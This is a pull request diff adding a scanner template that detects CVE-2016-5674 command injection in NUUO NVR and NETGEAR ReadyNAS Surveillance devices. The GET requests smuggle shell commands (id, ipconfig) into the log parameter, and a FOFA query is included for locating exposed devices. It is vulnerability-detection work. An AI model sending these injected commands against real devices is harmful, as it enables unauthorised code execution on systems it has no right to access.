Merge pull request #9470 from projectdiscovery/CVE-2016-5674

Create CVE-2016-5674.yaml

http/cves/2016/CVE-2016-5674.yaml

@@ -0,0 +1,52 @@
+id: CVE-2016-5674
+
+info:
+  name: NUUO NVR camera `debugging_center_utils_.php` - Command Execution
+  author: DhiyaneshDK
+  severity: critical
+  description: |
+    __debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter.
+  reference:
+    - http://www.kb.cert.org/vuls/id/856152
+    - https://www.exploit-db.com/exploits/40200/
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2016-5674
+    cwe-id: CWE-20
+    epss-score: 0.95705
+    epss-percentile: 0.99378
+    cpe: cpe:2.3:a:netgear:readynas_surveillance:1.1.1:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: netgear
+    product: readynas_surveillance
+    fofa-query: app="NUUO-NVRmini" || app="NUUO-NVR" || title="Network Video Recorder Login"
+  tags: cve,cve2016,nuuo,rce
+
+variables:
+  rand: "{{to_lower(rand_text_alpha(32))}}"
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20id"
+      - "{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20ipconfig"
+
+    stop-at-first-match: true
+    matchers-condition: or
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code_1 == 200"
+          - "contains(body_1, 'Debugging Center')"
+          - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body_1)"
+        condition: and
+
+      - type: dsl
+        dsl:
+          - "status_code_2 == 200"
+          - "contains(body_2, 'Debugging Center')"
+          - "contains(body_2, 'Windows IP')"
+        condition: and